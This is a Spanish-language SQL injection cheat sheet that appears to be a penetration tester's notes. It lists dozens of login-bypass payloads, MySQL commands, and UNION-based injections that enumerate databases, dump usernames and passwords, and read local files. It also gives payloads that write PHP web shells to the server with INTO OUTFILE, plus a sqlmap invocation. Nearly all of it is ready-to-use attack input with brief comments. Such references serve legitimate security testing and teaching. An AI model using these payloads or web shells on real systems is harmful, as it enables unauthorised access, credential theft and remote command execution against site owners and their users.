Links

Inyección SQL

Bibliografía

# PayloadAllTheThings (Mega Biblia)
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass
# Gerbenjavado (Manual SQL injection discovery tips)
https://gerbenjavado.com/manual-sql-injection-discovery-tips/
# Pentestmonkey (MySQL SQL injection Cheat Sheet)
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
# NetSPI SQL injection wiki
https://sqlwiki.netspi.com/

General Bypass Autenticaciones (Bruteforce)

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

MySQL

General

mysql -u root -h $RHOST -P $RPORT -p # Conectarse a BBDD
SHOW DATABASES # Muestra las databases disponibles
USE $DATABASE # Cambia a otra database

Tablas

CREATE TABLE logins (id INT, ...) # Añade una nueva tabla
SHOW TABLES # Lista de tablas disponibles en la base de datos actual
DESCRIBE $TABLE # Mostrar columnas y propiedades de la tabla
INSERT INTO $TABLE VALUES ($VALUE_1_VALUE,..) # Añade valores a la tabla
INSERT INTO $TABLE ($COLUMN_X, ...) VALUES ($COLUMN_X_VALUE, ...) # Agregar valores a columnas específicas en una tabla
UPDATE $TABLE SET $COLUMN_X=$COLUMN_NEWVALUE, ... WHERE <CONDITION> # Actualizar los valores de la tabla

Columnas

SELECT * FROM $TABLE # Show all columns in a table
SELECT $COLUMN_X, $COLUMN_Y ... FROM $TABLE # Mostrar columnas específicas en una tabla
DROP TABLE $TABLE # Borra una tabla
ALTER TABLE $TABLE ADD $NEW_COLUMN <TYPE> # Añade una nueva columna
ALTER TABLE $TABLE RENAME COLUMN $NEW_COLUMN TO $OLD_COLUMN # Renombra una columna
ALTER TABLE $TABLE MODIFY $OLD_COLUMN <TYPE> # Cambia el datatype de una columna
ALTER TABLE $TABLE DROP $OLD_COLUMN # Borra una columna

Output

SELECT * FROM $TABLE ORDER BY $COLUMN_X # Ordenar por columnas
SELECT * FROM $TABLE ORDER BY $COLUMN_X <DESC/ASC> # Ordenar por columna en orden descendente
SELECT * FROM $TABLE ORDER BY $COLUMN_X <DESC/ASC>, $COLUMN_Y <DESC/ASC> # Ordenar por dos columnas
SELECT * FROM $TABLE LIMIT 2 # Mostrar solo los dos primeros resultados
SELECT * FROM $TABLE LIMIT 1, 2 # Mostrar solo los dos primeros resultados a partir del índice 2
SELECT * FROM $TABLE WHERE <CONDITION> # Lista los resultados que cumplen una condición
SELECT * FROM $TABLE WHERE $COLUMN_X LIKE '$VALUE%' # Lista los resultados donde el nombre es similar a una string determinada

Operadores

Division (/), Multiplicación (*), y Resto (%)
Addición (+) and Substración (-)
Comparación (=, >, <, <=, >=, !=, LIKE)
NOT (!)
AND (&&)
OR ()

Inyección - UNION

1' order by $NUMBER-- - # Detectar el número de columnas usando ORDER BY. No devuelve error nunca hasta que aciertas
1' UNION select 1,2,3-- - # Detecta el número de columnas usando SELECT. Devuelve error siempre hasta que aciertas
1' UNION select 1,@@version,3,4-- - # Detecta la versión
1' UNION select username, NULL, NULL, NULL from $TABLE-- - # Union con 4 columnas

Inyección - Enumeración

SELECT @@version # Identificar la versión cuando tenemos output
SELECT SLEEP(5) # Identificar la versión cuando NO tenemos output
1' UNION select 1,database(),2,3-- - # Identificar la base de datos actual en la que estamos
1' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - # Listar todas las databases
1' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='$DATABASE'-- - # Listar todas las tablas de una determinada database
1' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='$TABLE'-- - # Listar todas las columnas de una tabla específica
1' UNION select 1, username, password, 4 from $DATABASE.$TABLE-- - # Hacer un dump de los datos de una tabla de otra database

Inyección - Privilegios

1' UNION SELECT 1, user(), 3, 4-- - # Mostrar usuario actual
1' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="$USER"-- - # Muestra si un usuario tiene privilegios de admin en la BBDD
1' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="$USER"-- - # Lista todos los privilegios relevantes el usuario
1' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - # Muestra que directorios son accesibles mediante la BBDD

Inyección - Lectura y Escritura de Archivos

1' UNION SELECT 1, LOAD_FILE("$FILE"), 3, 4-- - # Lee un archivo local
1' UNION select '$DATA' into outfile '$FILE' # Write a string to a local file
1' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '$FILE'-- - # Web shell
1' union select "",'<?php system($_GET["cmd"]); ?>', "", "" into outfile '$FILE'-- - # Web shell

SQLMap

Wiki

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Flags

# URL
-u

Ejemplos

sqlmap -u "http://www.example.com/vuln.php?id=1" --batch